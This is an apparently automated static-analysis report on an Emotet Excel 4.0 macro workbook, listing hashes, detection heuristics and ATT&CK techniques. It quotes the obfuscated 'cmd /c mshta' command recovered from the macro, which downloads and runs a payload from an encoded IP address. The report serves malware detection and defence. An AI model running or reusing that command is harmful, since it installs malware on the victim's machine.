Emotet — Office (OLE) / .XLS malware analysis

Static analysis result for SHA-256 4e568efe3b7b6208…

MALICIOUS

Office (OLE) / .XLS

100.8 KB Created: 2022-01-21 14:27:47 Authoring application: Microsoft Excel
MD5: 60b16098011ccfafbd9af6c60599f3f2 SHA-1: 2da83c3817163d296db96f15c2bac367b0fc3c30 SHA-256: 4e568efe3b7b6208a1948ac631958eafd202908b13cc2da77753ae93271e4bd3
140 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The critical heuristics OLE_XLM_AUTOOPEN and OLE_XLM_AUTOOPEN_DEFINEDNAME indicate the presence of Excel 4.0 macros designed to auto-execute. The extracted macro script contains a string literal 'cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe3.html', which is a command to download and execute a payload from the specified URL. ClamAV detection further confirms this as Emotet. The macro execution is the primary attack vector.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • ClamAV: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Downloader.Emotet-bd646319c2d29cd6-9951195-0
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
cd5d6e3253e3a898dc9d63d15113da3fd9fff8e87bda9543bb3d23d907be4b46		 xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 2903 bytes

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